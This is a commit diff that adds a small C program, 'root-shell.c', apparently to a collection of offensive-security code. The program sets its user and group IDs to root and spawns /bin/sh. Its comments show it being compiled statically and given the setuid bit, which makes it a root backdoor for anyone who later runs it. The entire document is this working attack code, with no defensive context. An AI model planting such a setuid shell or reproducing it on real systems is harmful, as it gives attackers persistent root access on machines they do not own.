Add example c root-shells

Miscellaneous/source-code/c-linux/root-shell.c

@@ -0,0 +1,12 @@
+// $ gcc -static -o root-shell root-shell.c
+// $ chmod u+s root-shell
+
+#include <unistd.h>
+#include <stdlib.h>
+
+int main(void) {
+  setuid(0);
+  setgid(0);
+  system("/bin/sh");
+  return 0;
+}